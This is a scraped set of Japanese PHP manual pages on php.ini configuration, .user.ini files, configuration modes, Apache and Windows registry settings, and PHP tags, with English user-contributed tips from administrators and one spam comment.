memory_limit = ${PHP_MEMORY_LIMIT}

拡張モジュールに対する php.ini ディレクティブは、 各拡張モジュールのドキュメントで解説されています。 コア ディレクティブ （PHP 本体に対するディレクティブ）のリストは付録にまとめられています。 ただし、（更新の都合上）すべての PHP ディレクティブが 本マニュアル中で解説されている訳ではありません。 使っているバージョンの PHP で指定可能なすべてのディレクティブについては、 php.ini ファイル内に詳細なコメントが記されていますので、参照してください。 もしくは、Git から入手可能な » 最新の php.ini も有用でしょう。

例2 php.ini の例

; 引用符をつけないセミコロン(;)の後のテキストは、すべて無視されます
[php] ; セクションマーカ (角括弧の中のテキスト) は無視されます
; 論理値は、次のいずれかで指定します
;    true, on, yes
; または false, off, no, none
register_globals = off
magic_quotes_gpc = yes

; 文字列を二重引用符で括ることも可能です
include_path = ".:/usr/local/lib/php"

; バックスラッシュは他の文字と同様に処理されます
include_path = ".;c:\php\lib"

PHP 5.1.0 以降、ini ファイル内で既存の ini 変数を参照することが可能です。 例: open_basedir = ${open_basedir} ":/new/dir"

スキャンディレクトリ

PHP の設定で、php.ini を読んだ後に .ini ファイルを探すディレクトリを指定できます。 これは、コンパイル時のオプション --with-config-file-scan-dir で設定します。 PHP 5.2.0 以降では、このスキャンディレクトリを実行時に上書きできるようになりました。 環境変数 PHP_INI_SCAN_DIR で指定します。

複数のディレクトリを指定するには、各プラットフォームのパス区切り文字 (Window や NetWare そして RISC OS の場合は ;、 その他のプラットフォームの場合は :。PHP が用いる値は定数 PATH_SEPARATOR で取得できます) を用います。PHP_INI_SCAN_DIR に空文字列が指定された場合は、 PHP のコンパイル時に --with-config-file-scan-dir で指定されたディレクトリもスキャンします。

指定されたディレクトリの中にあるファイルの中で、ファイル名が .ini で終わるすべてのファイルを、アルファベット順にスキャンします。 読み込まれたファイルの一覧とその順序を調べるには、 php_ini_scanned_files() を呼ぶか、あるいは --ini オプションつきで PHP を実行します。

PHP のコンパイル時に --with-config-file-scan-dir=/etc/php.d
を指定しており、パス区切り文字が : であるものとします

$ php
  PHP は /etc/php.d/*.ini を設定ファイルとして読み込みます。

$ PHP_INI_SCAN_DIR=/usr/local/etc/php.d php
  PHP は /usr/local/etc/php.d/*.ini を設定ファイルとして読み込みます。

$ PHP_INI_SCAN_DIR=:/usr/local/etc/php.d php
  PHP はまず /etc/php.d/*.ini を設定ファイルとして読み込み、
  続いて /usr/local/etc/php.d/*.ini も設定ファイルとして読み込みます。

$ PHP_INI_SCAN_DIR=/usr/local/etc/php.d: php
  PHP はまず /usr/local/etc/php.d/*.ini を設定ファイルとして読み込み、
  続いて /etc/php.d/*.ini を設定ファイルとして読み込みます。

変更履歴

バージョン | 説明
7.0.0 | ハッシュ記号 (#) をコメントとみなさないようになりました。
5.3.0 | ハッシュ記号 (#) をコメントとして使ってはいけないようになりました。 もし使うと、廃止予定だという警告を発します。
5.2.0 | 環境変数 PHP_INI_SCAN_DIR によって、 configure 時に指定したスキャンディレクトリを上書きできるようになりました。
5.1.0 | .ini ファイル内で既存の .ini 変数を参照できるようになりました。

User Contributed Notes

david amick 11-Dec-2016 07:02
example #2 says "[php] ; section markers (text within square brackets) are also ignored" - yet if you remove these 'section markers' everything breaks, - which means they're *not* ignored.
ohcc at 163 dot com 03-Sep-2016 05:06
in php.ini you can reference to an existing directive or an environment variable using the syntax ${varname}.

Here are some examples.

sys_temp_dir = "${WINDIR}"

--- ${WINDIR} will be replaced by $_ENV['WINDIR'] at runtime

--- you can set environment variables by Apache and use them in php.ini
--- FcgidInitialEnv AUTHOR "WUXIANCHENG"
--- error_log = "${AUTHOR}.log"

error_log = "${sys_temp_dir}"

--- ${sys_temp_dir} will be replace by the value of sys_temp_dir

Also you can use PHP constants in php.ini, but DONT'T wrap them in ${} or "".

error_log = "/data/"PHP_VERSION"/"

---  it works like this php code:

$error_log =  "/data/" . PHP_VERSION . "/";
edgardoboj at hotmail dot com 14-Jul-2015 12:48
If you have multiple installations of PHP, and "php --ini" keeps loading the same configuration file for every version instead of the configuration file on the installation path, it might be worthy to check the windows registry.

I found a key on "HEKY_LOCAL_MACHINE\SOFTEARE\Wow6432Node\PHP\IniFilePath" that override any installation, which cause "php --ini" to crash stating a version mismatch with the extensions being loaded.

Deleting the key "HEKY_LOCAL_MACHINE\SOFTEARE\Wow6432Node\PHP" solved the problem.

I guess the key was created with a windows installer for IIS on FastCGI, but just guessing.

For the record, some of the errors thrown are:
"The procedure entry point php_sys_stat could not be located in the dynamic link library php5.dll. "
"The procedure entry point php_checkuid could not be located in the dynamic link library php5.dll. "

Hope someone with such a mess will find this useful.
Nacho Esviza - ignacio at esviza dot com 25-Aug-2014 04:06
This solution works for me when I needed to force two diferent versions of PHP on a Windows Server 2012 r2 & IIS:

For one application, map *.php extension to a CgiModule adding the "-c" option to the executable path, like this: "C:\php53\php-cgi.exe -c C:\php53\php.ini"

For the other application, map *.php extension to a CgiModule adding the "-c" option to the executable path, like this: "C:\php54\php-cgi.exe -c C:\php54\php.ini"

I think that way is the cleanest, because there is no need to work with PATH variable or Registry or Windows directory.

Note: for some reason, this didn't work on FastCGI module, related to the way that IIS set the executable tab not allowing command line options.
pajoye at php dot net 06-Aug-2014 12:04
Also a nice feature is the ability to use PHP's contants:
For example:
extension_dir=""PHP_MAJOR_VERSION"."PHP_MINOR_VERSION"/ext"


.user.ini ファイル

PHP 5.3.0 以降、PHP はディレクトリ単位での INI ファイルをサポートするようになりました。 このファイルは、CGI/FastCGI SAPI の場合にのみ処理されます。 この機能は、PECL htscanner 拡張モジュールを置き換えるものです。 Apache モジュールとして PHP を実行している場合は .htaccess ファイルを使えば同じ機能を実現できます。

メイン php.ini ファイルに加えて、PHP が各ディレクトリの INI ファイルをスキャンします。 リクエストされた PHP ファイルがあるディレクトリから始まり、 現在のドキュメントルート ($_SERVER['DOCUMENT_ROOT']) まで順にたどっていきます。PHP ファイルがドキュメントルート配下以外の場所にある場合は、 PHP ファイルがあるディレクトリだけをスキャンします。

.user.ini 形式の INI ファイルがサポートするのは、 モードが PHP_INI_PERDIR および PHP_INI_USER の項目のみです。

ふたつの新しい INI ディレクティブ user_ini.filename および user_ini.cache_ttl で、ユーザー INI ファイルの使用法を制御します。

user_ini.filename は、PHP が各ディレクトリで探すファイルの名前を設定します。 空文字列を指定した場合は何も探しません。デフォルトは .user.ini です。

user_ini.cache_ttl は、ユーザー INI ファイルの再読込頻度を設定します。 デフォルトは 300 秒 (5 分) です。

User Contributed Notes

signups at altillc dot com 07-Jun-2020 05:01
For those looking for an example... .user.ini should be formatted as a simple list of [KEY]=[VALUE]\n sets.  For example, a one-line .user.ini file that serves solely to change the max allowable upload file size to 5Mb is:

upload_max_filesize="5M"
Anonymous 05-Sep-2019 03:05
Since the .user.ini is read from public directories, it's contents will be served to anyone requesting it and potientially show them sensitive configuration settings.

Add these lines to your .htaccess to block requests to it :
<Files ".user.ini">
    Require all denied
</Files>
info at vincentraal.nl 04-Sep-2018 01:15
Be aware that PECL htscanner doesn't work (yet) on PHP7.0.

'pecl install htscanner' throws an "zend_hash_update' undeclared'" error.
Anteaus at thenox dot com 25-Jul-2014 08:48
"If you are using Apache, use .htaccess files for the same effect."

To clarify, this applies only to Apache module mode. If you put php directives in .htaccess on an Apache CGI/FastCGI server, this will bomb the server out with a 500 error. Thus, you unfortunately cannot create a config which caters for both types of hosting, at least not in any straightforward way.
philsward at gmail dot com 03-Apr-2013 06:45
If you have no idea what "PHP_INI_PERDIR" or "PHP_INI_USER" are or how they relate to setting a .user.ini file, take a look at the ini.list page: http://www.php.net/manual/en/ini.list.php

Basically, anything in the "Changeable" column labeled as PHP_INI_SYSTEM can't be set in the .user.ini file (so quit trying).  It can ONLY be set at the main php.ini level.
interfaSys 05-Jan-2011 10:12
This article should be made clearer.
".htaccess-style INI files" meant to me that the ini settings had to follow the syntax used in .htaccess, but this is not the case!

You have to use
register_globals=on
and not
php_flag register_globals on

Also, the changes can take a while to propagate to all processes if you have a long process time out.
Restarting php-fpm can give you an answer quicker :)


どこで設定を行うのか

これらのモードは、ある PHP ディレクティブがいつどこで設定できるのかを表すものです。 マニュアルに記載されているすべてのディレクティブには、これらのモードのいずれかが指定されています。 たとえば、PHP スクリプト中で ini_set() で設定できるものもあれば php.ini や httpd.conf でなければ設定できないものもあります。

たとえば output_buffering は PHP_INI_PERDIR なので、 ini_set() で設定することはできません。 一方 display_errors は PHP_INI_ALL なのでどこででも設定でき、当然 ini_set() ででも設定できます。

PHP_INI_* モードの定義
モード | 意味
PHP_INI_USER | ユーザースクリプト (ini_set() などで) または Windows レジストリ で設定可能なエントリ。 PHP 5.3 以降では、.user.ini でも設定可能
PHP_INI_PERDIR | php.ini、.htaccess、httpd.conf あるいは .user.ini (PHP 5.3 以降の場合) で設定可能なエントリ
PHP_INI_SYSTEM | php.ini または httpd.confで設定可能なエントリ
PHP_INI_ALL | どこでも設定可能なエントリ

User Contributed Notes

There are no user contributed notes for this page.


設定を変更するには

Apache モジュールとして PHP を実行している場合

PHP を Apache モジュールとして使用している場合、Apache 設定ファイル (例、httpd.conf) もしくは .htaccess ファイルにディレクティブを記述することで、PHP の設定の変更を行うことが 可能です。このようにして設定変更を行うには、"AllowOverride Options" もしくは "AllowOverride All" 権限が必要です。

Apache 設定ファイルから PHP の設定を変更するには、 以下に示す Apache ディレクティブを使用します。 各設定オプションの変更の可否 (PHP_INI_ALL, PHP_INI_PERDIR, または PHP_INI_SYSTEM) については、付録 php.ini ディレクティブのリスト を参照してください。

php_value name value

指定した設定オプションに値を設定します。変更の可否が、 PHP_INI_ALL もしくは PHP_INI_PERDIR である設定オプションに対し利用できます。 セット済みの値をクリアしたい場合は、none を 値として使用してください。

注意: 論理値を設定する場合には php_value を使用しないでください。代わりに、php_flag （下記参照）を使用する必要があります。

php_flag name on|off

設定オプションに論理値を設定するために使用します。変更の可否が、 PHP_INI_ALL もしくは PHP_INI_PERDIR である設定オプションで利用できます。

php_admin_value name value

指定した設定オプションに値を設定します。このディレクティブは、.htaccess ファイルでは利用できません。また、 php_admin_value で設定された設定オプションの値は、.htaccess や ini_set() では上書きできません。 セット済みの値をクリアしたい場合は、none を値として使用してください。

php_admin_flag name on|off

設定オプションに論理値を設定するために使用します。 このディレクティブは、.htaccess ファイルでは利用できません。 php_admin_value で設定された設定オプションの値は、.htaccess や ini_set() では上書きできません。

例1 Apache 設定の例

<IfModule mod_php5.c>
  php_value include_path ".:/usr/local/lib/php"
  php_admin_flag engine on
</IfModule>
<IfModule mod_php4.c>
  php_value include_path ".:/usr/local/lib/php"
  php_admin_flag engine on
</IfModule>

警告

PHP 定数は PHP 以外では使用できません。たとえば、 httpd.conf の中で error_reporting オプションを設定しようとして E_ALL や E_NOTICE のような PHP 定数を使用することは できません。これらは意味を有さないため、 0 と評価されてしまいます。 代わりに、対応するビットマスク値を使用してください。 php.ini の中では、これらの PHP 定数を使用することができます。

Windows レジストリによる PHP の設定の変更

Windows 上で PHP を実行している場合、Windows レジストリを使用して設定値を ディレクトリ毎に変更することができます。 設定値は、レジストリキー HKLM\SOFTWARE\PHP\Per Directory Values に保存され、そのサブキーがパス名となります。例えば、ディレクトリ c:\inetpub\wwwroot に対する設定値は、 キー HKLM\SOFTWARE\PHP\Per Directory Values\c\inetpub\wwwroot に保存されます。ディレクトリに対する設定は、そのディレクトリ、 およびそのサブディレクトリで実行されるすべてのスクリプトで有効となります。 PHP 設定オプションのディレクティブを名前とする文字列値をキーに登録してください。 また、値のデータに PHP 定数を記述しても解釈されませんので、注意してください。 しかし、PHP_INI_USER で変更可能な設定値はこの方法で設定することが可能ですが、 PHP_INI_PERDIR である設定値は設定できません。 なぜなら、これらの設定値はリクエストがあるたびに読み直されるからです。

他の方法

どのように PHP を実行しているかに係わらず、ini_set() 関数を 用いて、スクリプトの実行時に一部のオプションの設定値を変更することができます。詳細は、 ini_set() 関数のリファレンスを参照してください。

使用しているシステムにおける現在のオプション設定値の完全なリストを得たい場合は、 phpinfo() 関数を実行し、出力された結果を参照してください。 また、ini_get() 関数または get_cfg_var() 関数を用いて、個々のオプションの設定値にアクセスすることも可能です。

User Contributed Notes

abu dot ztoko1 at gmail dot com 27-Jun-2017 08:58
Simply desire to say your article is as astonishing. The clearness in your post is simply spectacular and i can assume you're an expert on this subject. Well with your permission allow me to grab your RSS feed to keep updated with forthcoming post. Thanks a million and please carry on the rewarding work.
http://ztoko.net/sandal/
Anteaus 01-Jan-2015 09:08
One of the most serious problems here is that it is hard to determine programmatically which of three or more possible configuration methods (php.ini, .user.ini, .htaccess) should be used on any given hosting company's server.

The worst outcome is if an install.php routine attempts to set .htaccess directives on a cgi-mode server, in which case the outcome is usually a '500' crash. Once in that situation the php installation routine cannot be rerun to correct the problem, so you effectively have a hosting lockout situation which can only be corrected by manual intervention.
andy at ddtechnologies dot com 06-Mar-2014 08:31
Registry Key Handling Through PHP:

This is an ready to use code. You just need to copy this code into a PHP file.

//php Code starts from here......

//Reading the Registry

$Wshshell= new COM('WScript.Shell');
$data= $Wshshell->regRead('HKEY_LOCAL_MACHINE\SOFTWARE\7-Zip\path');
echo "Data is::".$data;

//Function for writing to the registry.

function registry_write($folder, $key, $value, $type="REG_SZ")
{
  $WshShell = new COM("WScript.Shell");

  $registry = "HKEY_LOCAL_MACHINE\\SOFTWARE\\" . $folder . "\\" . $key;
  try{
    $result = $WshShell->RegWrite($registry, $value, $type);
    echo "Entry is Successfully written at:".$registry;
    return($result);
  }
  catch(Exception $e){
    echo "Some Exception in Registry writing".$e;
  }

  return false;
}

// Function to deleting from the Register Entry.

function registry_delete($folder, $key, $value, $type="REG_SZ")
{
    $WshShell = new COM("Wscript.shell");
    $registry = "HKEY_LOCAL_MACHINE\\SOFTWARE\\" . $folder . "\\" . $key;
    try{
    $result = $WshShell->RegDelete($registry);
    echo $key." is Successfully deleted from HKEY_LOCAL_MACHINE\\SOFTWARE\\" . $folder ;
    return($result);
    }
    catch(Exception $e){
        echo "Some Exception with the code::".$e;
    }
    return false;

}

//Here 7-ZIP is taken as a example.

$folder = "7-ZIP";
$key = "Key_name";
$value = "Key_Value";

registry_write($folder,$key,$value);
//registry_delete($folder,$key,$value);
?>

...
-------------------------------------------------------------------------------------
http://herobot.net
ohcc at 163 dot com 21-Dec-2013 07:58
You will fail if you try to change configuration settings of PHP with   the php_value directive in Apache 2.4.
nick at vistaworks dot net 01-Aug-2012 03:42
On Windows, as the documentation above states, you cannot set max_upload_filesize and post_max_size in the registry, because they are PHP_INI_PERDIR.

Confusingly, however, is the fact that phpinfo() will show your changes if you do add those to the regsitry, as if they were taking effect. However, the upload size is *not* changed, regardless of what phpinfo() reports.

I believe the reading of registry values and override happen 'too late' in the request processing, ie, after the file has already been uploaded and rejected.

In a perfect world, phpinfo() would recognize this and not report the overridden values, which is very confusing.
Anonymous 03-Jan-2012 08:15
For Mac users (Leopard/Tiger/Lion) it's worth knowing exactly where your httpd.conf and php.ini ares picked up, but, out of the box, these are defined only in the compiler settings as defaults.

The httpd binary was compiled with default settings of
SERVER_CONFIG_FILE="/private/etc/apache2/httpd.conf"
meaning starting apache using apachectl picks up this httpd.conf without it being specified on the command line via the org.apache.httpd.plist file is /System/Library/LaunchDaemons.

Again, the default httpd.conf does not contain a PHPIniDir, and locates php.ini via libphp5.so in /etc - you would need to create one here (using one of the php.ini.default templates if you want).

It's worth changing the PHPIniDir setting in httpd.conf setting to eg.:

Configuration File     /usr/local/php5/lib/php.ini

so you know exactly which php.ini is being used at all times.

phpinfo() will then advise you that it's using this file.
user at NOSPAM dot example dot com 13-Sep-2011 11:16
PHP Constants will work with php_value; for example:

php_value error_reporting 30711 #bitmask is the same as
php_value error_reporting "E_ALL & ~E_STRICT & ~E_NOTICE" #string of constants
rohitkumar at cftechno dot com 29-Jun-2011 12:23
Open php.ini from c:/php in your text editor

If you installed Apache in the default location, the path should
be "C:\Program Files\Apache Software Foundation\Apache2.2\htdocs". If you installed
it elsewhere, find the htdocs folder and type its path:

doc_root = "C:\Program Files\Apache Software Foundation\Apache2.2\htdocs"

Just a little further down in the file, look for the line that begins with remove the semicolon from the start of the extension_
dir, and set it so that it points to the ext subfolder of your PHP folder:
extension_dir = "C:\PHP\ext"

These are optional extensions to PHP, disabled by default. We
want to enable the MySQL extension so that PHP can communicate with MySQL.
To do this, remove the semicolon from the start of the php_mysqli.dll line:
extension=php_mysqli.dll

note - php_mysqli, not php_mysql

Keep scrolling even further down in the file, and look for a line that starts with
;session.save_path. Once again, remove the semicolon to enable this line,
and set it to your Windows Temp folder:
session.save_path = "C:\Windows\Temp"

Browse to the conf subfolder in your Apache
installation folder (by default, C:\Program Files\Apache Software
Foundation\Apache2.2\conf), and select the httpd.conf file located there. In order
to make this file visible for selection, you'll need to select All Files (*.*) from the
file type drop-down menu at the bottom of the Open window.
Look for the existing line in this file that begins with DirectoryIndex, shown
here:
<IfModule dir_module>
DirectoryIndex index.html
</IfModule>

This line tells Apache which filenames to use when it looks for the default page
for a given directory. Add index.php to the end of this line:
<IfModule dir_module>
DirectoryIndex index.html index.php
</IfModule>

All of the remaining options in this long and intimidating configuration file
should have been set up correctly by the Apache install program. All you need
to do is add the following lines to the very end of the file:

LoadModule php5_module "C:/PHP/php5apache2_2.dll"
AddType application/x-httpd-php .php
PHPIniDir "C:/PHP"

Make sure the LoadModule and PHPIniDir lines point to your PHP installation
directory, and note the use of forward slashes (/) instead of backslashes (\) in
the paths.

Save your changes and Restart Apache using the Apache Service Monitor system tray icon. If all is
well, Apache will start up again without complaint.
self at pabloviquez dot com 14-Jun-2009 06:07
Note that, changing the PHP configuration via the windows registry will set the new values using php_admin_value. This makes that you cannot override them on runtime.

So for example, if you set the include_path on the windows registry and then you call the set_include_path function in your application, it will return false and won't change the include_path.
cawoodm at gmail dot com 04-May-2009 07:41
With IIS it can become confusing that changes to php.ini are ineffective. It seems it is necessary to restart the application pool for the changes to be seen. It would be great if this was not necessary - I am sure I have worked with systems where php.ini changes were immediately effectvie.
hyponiq at gmail dot com 09-Feb-2009 09:11
Running PHP under Apache poses a major problem when it comes to per-directory configuration settings for PHP.  In Apache virtual hosting, only a master PHP configuration file (i.e. php.ini) is parsed at run-time per PHP script.  Under IIS 6.0 or greater, you can include per-directory PHP configuration files to override or overwrite the master configuration settings.  The issue here, however, is having Apache virtual hosts override/overwrite master settings; not what IIS can do.

So, there are two possible solutions.  The first solution is described in this section and uses the Apache configuration settings php_value, php_flag, php_admin_value, and php_admin_flag.  In that, each virtual host which you'd like to have certain configuration settings changed must have these directives set (and that is for each PHP configuration setting).  This, to me, is the more viable solution, although it is time-consuming and mentally taxing.

The other possible solution is to set the PHPRC environment variable.  To my knowledge, all implementations of Apache HTTPD allow for the SetEnv directive to set the PHPRC variable per-virtual-host.  What that does is tell PHP to look in the specified location for that virtual host's configuration settings file (i.e. "C:/path/to/custom/php.ini").  The only downside to this tactic is that EVERY virtual host's custom php.ini file must contain all set parameters.  In other words, every single PHP configuration directive you have set in the master php.ini file must ALSO be set in per-virtual-host configuration settings.  Doesn't that suck?  It seems rather redundant to me (and completely defeats the purpose) that you have to include all configuration settings OVER AND OVER AGAIN.

The great thing about per-directory configuration settings (when they're implemented correctly) is that PHP already has the master settings pre-loaded and the per-directory settings (which may only ammount to one directive in difference) can be loaded per request and, thus, there is less over-head.

There really is more to this topic than that, which is why I blogged a rather lengthy and detailed article here: http://hyponiq.blogspot.com/2009/02/apache-php-multiple-phpini.html  This information is meant to help users and administrators.  I highly suggest it be read if anyone has any questions on Apache and PHP configurations.  I have included some examples that illustrate the two possible solutions, as well.  I did my best to research everything before I wrote the article.

I hope this helps!

==== 10-FEB-09: ====
I must add a little more information:

I've done some thorough testing on my PC as to the PHPRC environment variable set by the Apache directive SetEnv.  It seems to me that this variable is completely disregarded using that directive.  I tried everything and can only come to the conclusion that either A) I did something very wrong, or B) that it simply doesn't work as expected.

The former solution, however, does work magically!  So, to expand on my previous post, the only real and viable solution to this problem is to use the php_value, php_flag, php_admin_value and php_admin_flag directives in your virtual hosts configurations.

Once again, it can be very boring!  But it does work.
contrees.du.reve at gmail dot com 02-Feb-2008 05:25
Being able to put php directives in httpd.conf and have them work on a per-directory or per-vitual host basis is just great. Now there's another aspect which might be worth being aware of:

A php.ini directive put into your apache conf file applies to php when it runs as an apache module (i.e. in a web page), but NOT when it runs as CLI (command-line interface).

Such feature that might be unwanted by an unhappy few, but I guess most will find it useful. As far as I'm concerned, I'm really happy that I can use open_basedir in my httpd.conf file, and it restricts the access of web users and sub-admins  of my domain, but it does NOT restrict my own command-line php scripts...
Woody/mC 09-Jul-2007 06:09
@ pgl: As the documentation says:

"To clear a previously set value use none as the value."

Works fine for me.


言語リファレンス

  • 基本的な構文
    • PHP タグ
    • HTML からの脱出
    • 命令の分離
    • コメント
  • 型
    • はじめに
    • 論理型 (boolean)
    • 整数
    • 浮動小数点数
    • 文字列
    • 数値形式の文字列
    • 配列
    • Iterable
    • オブジェクト
    • リソース
    • NULL
    • コールバック / Callable
    • 型宣言
    • 型の相互変換
  • 変数
    • 基本的な事
    • 定義済みの変数
    • 変数のスコープ
    • 可変変数
    • 外部から来る変数
  • 定数
    • 構文
    • 自動的に定義される定数
    • マジック定数
  • 式
  • 演算子
    • 演算子の優先順位
    • 代数演算子
    • 代入演算子
    • ビット演算子
    • 比較演算子
    • エラー制御演算子
    • 実行演算子
    • 加算子/減算子
    • 論理演算子
    • 文字列演算子
    • 配列演算子
    • 型演算子
  • 制御構造
    • はじめに
    • if
    • else
    • elseif/else if
    • 制御構造に関する別の構文
    • while
    • do-while
    • for
    • foreach
    • break
    • continue
    • switch
    • match
    • declare
    • return
    • require
    • include
    • require_once
    • include_once
    • goto
  • 関数
    • ユーザー定義関数
    • 関数の引数
    • 返り値
    • 可変関数
    • 内部（ビルトイン）関数
    • 無名関数
    • アロー関数
  • クラスとオブジェクト
    • はじめに
    • クラスの基礎
    • プロパティ
    • オブジェクト定数
    • クラスのオートローディング
    • コンストラクタとデストラクタ
    • アクセス権
    • オブジェクトの継承
    • スコープ定義演算子 (::)
    • static キーワード
    • クラスの抽象化
    • オブジェクト インターフェイス
    • トレイト
    • 無名クラス
    • オーバーロード
    • オブジェクトの反復処理
    • マジックメソッド
    • finalキーワード
    • オブジェクトのクローン作成
    • オブジェクトの比較
    • 遅延静的束縛 (Late Static Bindings)
    • オブジェクトと参照
    • オブジェクトのシリアライズ
    • 共変性と反変性
    • 変更履歴
  • 名前空間
    • 名前空間の概要
    • 名前空間の定義
    • サブ名前空間の宣言
    • 同一ファイル内での複数の名前空間の定義
    • 名前空間の使用法: 基本編
    • 名前空間と動的言語機能
    • namespace キーワードおよび __NAMESPACE__ 定数
    • 名前空間の使用法: エイリアス/インポート
    • グローバル空間
    • 名前空間の使用法: グローバル関数/定数への移行
    • 名前解決のルール
    • FAQ: 名前空間について知っておくべきこと
  • エラー
    • 基本
    • PHP 7 でのエラー
  • 例外(exceptions)
    • 例外を拡張する
  • ジェネレータ
    • ジェネレータとは
    • ジェネレータの構文
    • ジェネレータと Iterator オブジェクトとの比較
  • アトリビュート
    • アトリビュートの概要
    • アトリビュートの文法
    • リフレクションAPI を使ってアトリビュートを読み取る
    • アトリビュートクラスを宣言する
  • リファレンスの説明
    • リファレンスとは?
    • リファレンスが行うことは何ですか?
    • リファレンスが行わないこと
    • リファレンス渡し
    • リファレンスを返す
    • リファレンスの解除
    • リファレンスの適用範囲
  • 定義済の変数
    • スーパーグローバル — すべてのスコープで使用できる組み込みの変数
    • $GLOBALS — グローバルスコープで使用可能なすべての変数への参照
    • $_SERVER — サーバー情報および実行時の環境情報
    • $_GET — HTTP GET 変数
    • $_POST — HTTP POST 変数
    • $_FILES — HTTP ファイルアップロード変数
    • $_REQUEST — HTTP リクエスト変数
    • $_SESSION — セッション変数
    • $_ENV — 環境変数
    • $_COOKIE — HTTP クッキー
    • $php_errormsg — 直近のエラーメッセージ
    • $http_response_header — HTTP レスポンスヘッダ
    • $argc — スクリプトに渡された引数の数
    • $argv — スクリプトに渡された引数の配列
  • 定義済みの例外
    • Exception
    • ErrorException
    • Error
    • ArgumentCountError
    • ArithmeticError
    • AssertionError
    • DivisionByZeroError
    • CompileError
    • ParseError
    • TypeError
    • ValueError
    • UnhandledMatchError
  • 定義済みのインターフェイスとクラス
    • Traversable — Traversable インターフェイス
    • Iterator — Iterator インターフェイス
    • IteratorAggregate — IteratorAggregate インターフェイス
    • Throwable
    • ArrayAccess — ArrayAccess インターフェイス
    • Serializable — Serializable インターフェイス
    • Closure — Closure クラス
    • Generator — Generator クラス
    • WeakReference — WeakReference クラス
  • コンテキストオプションとパラメータ
    • ソケットコンテキストオプション — ソケットコンテキストオプション一覧
    • HTTP コンテキストオプション — HTTP コンテキストオプションの一覧
    • FTP コンテキストオプション — FTP コンテキストオプションの一覧
    • SSL コンテキストオプション — SSL コンテキストオプションの一覧
    • CURL コンテキストオプション — CURL コンテキストオプションの一覧
    • Phar コンテキストオプション — Phar コンテキストオプション一覧
    • MongoDB コンテキストオプション — MongoDB コンテキストオプション一覧
    • コンテキストパラメータ — コンテキストパラメータの一覧
    • Zip コンテキストオプション — Zip コンテキストオプション一覧
  • サポートするプロトコル/ラッパー
    • file:// — ローカルファイルシステムへのアクセス
    • http:// — HTTP(s) URL へのアクセス
    • ftp:// — FTP(s) URL へのアクセス
    • php:// — さまざまな入出力ストリームへのアクセス
    • zlib:// — 圧縮ストリーム
    • data:// — データ (RFC 2397)
    • glob:// — パターンにマッチするパス名の検索
    • phar:// — PHP アーカイブ
    • ssh2:// — Secure Shell 2
    • rar:// — RAR
    • ogg:// — オーディオストリーム
    • expect:// — 対話的プロセスストリーム

User Contributed Notes

There are no user contributed notes for this page.


基本的な構文

目次

  • PHP タグ
  • HTML からの脱出
  • 命令の分離
  • コメント

User Contributed Notes

There are no user contributed notes for this page.


PHP タグ

PHP はファイルを解析して開始タグと終了タグ (<?php と ?>) を探します。 タグが見つかると、PHP はコードの実行を開始したり終了したりします。 このような仕組みにより、PHP を他のあらゆる形式のドキュメント中に 埋め込むことができるのです。つまり、開始タグと終了タグで囲まれている 箇所以外のすべての部分は、PHP パーサに無視されます。

PHP では、短い形式のechoタグ <?= も使えます。 これは、より冗長な <?php echo を短くしたものです。

例1 PHP の開始タグと終了タグ

1.  <?php echo 'XHTMLまたはXMLドキュメントの中でPHPコードを扱いたい場合は、このタグを使いましょう'; ?>

2.  短縮型の echo タグを使って <?= 'この文字列を表示' ?> とすることもできます。
    これは <?php echo 'この文字列を表示' ?> と同じ意味になります。

3.  <? echo 'このコードは短縮型のタグに囲まれていますが、'.
            'short_open_tag が有効な場合にしか動作しません'; ?>

短縮型のタグ（例 3.）はデフォルトで有効ですが、 php.ini 設定ファイルのディレクティブ short_open_tag で無効にすることもできますし、 --disable-short-tags オプション付きで configure した場合は、 デフォルトで無効にすることも出来ます。

注意:

短縮形のタグは無効にすることができるので、 互換性を最大限保つために、通常のタグ (<?php ?> and <?= ?>) を使うことを推奨します。

ファイルが PHP コードのみを含む場合は、ファイルの最後の終了タグは省略するのがおすすめです。 終了タグの後に余分な空白や改行があると、予期せぬ挙動を引き起こす場合があるからです。 余分な空白や改行のせいで PHP が出力バッファリングを開始し、その時点の内容を意図せず出力してしまうことになります。

<?php
echo "みなさん、こんにちは";

// ... いろんなコードたち

echo "最後のごあいさつ";

// PHP 終了タグを書かずに、ここでスクリプトを終わります。

User Contributed Notes

anisgazig at gmail dot com 30-Jan-2021 04:45
Everything inside a pair of opening and closing tag is interpreted by php parser. Php introduced three types of opening and closing tag.
1.Standard tags
<?php ?>
2.Short echo tag
<?=  ?>
here, <?=  is equivalent meaning of "<?php echo"
3.Short tag
<?   ?>

Standard tag and short echo tag are alwayes available.
But short tag can be disabled either via the short_open_tag php.ini configuration file directive, or are disabled by default if PHP is built with the --disable-short-tags configuration.

If a file contains only PHP code, it is preferable to omit the PHP closing tag at the end of the file.
This prevents accidental whitespace or new lines being added after the PHP closing tag


HTML からの脱出

PHP のパーサは、開始タグと終了タグに囲まれていない部分をすべて無視します。 そのおかげで、PHP のファイルにそれ以外のコンテンツを混在させることができるのです。 たとえば PHP を HTML ドキュメントに組み込んで、テンプレートを作ったりすることもできます。

<p>この部分は PHP から無視され、そのままブラウザには表示されます。</p>
<?php echo '一方、この部分はパースされます。'; ?>
<p>この部分も PHP から無視され、そのままブラウザには表示されます。</p>
これは期待通りに動作します。なぜなら、PHP インタプリタは ?> 終了タグを見つけると それ以降新たに開始タグを見つけるまでの内容を何でも出力するからです (終了タグの直後の改行は別です。 命令の分離 を参照ください)。 しかし、PHP が条件文の中にいる場合は話が別です。 その場合は、まず条件式の結果を判定してから何をスキップするかを判断します。 次の例を参照ください。

条件文を使った例です。

例1 条件文を使った高度な脱出

<?php if ($expression == true): ?>
  条件式が真の場合にこれが表示されます。
<?php else: ?>
  それ以外の場合にこちらが表示されます。
<?php endif; ?>
この例では、PHP は条件を満たさないブロックを処理しません。たとえそれが PHP の開始タグと終了タグに囲まれた部分でなくても、条件文にしたがってそこを読み飛ばします。 というのも、PHP のインタプリタは条件を満たさない箇所をブロックごと読み飛ばすからです。

大量のテキストを出力する際に echo や print を用いることを考えると、このように一度 PHP のパースモードを抜けるほうが効率的です。

PHP コードを XML や XHTML に 埋め込む場合には、標準規格に従うために <?php ?> タグを使用する 必要があるでしょう。

User Contributed Notes

Anonymous 14-Jan-2021 01:10
Since it's not documented (AFAICT) and it might cause confusion: a single line break immediately after ?> is ignored. Since whitespace is hard to see, whitespace is replaced with _ and the following code

<?php echo '1'; ?>
<?php echo '2'; ?>_
<?php echo '3'; ?>
_<?php echo '4'; ?>_<?php echo '5'; ?>

will produce

12_
3_4_5
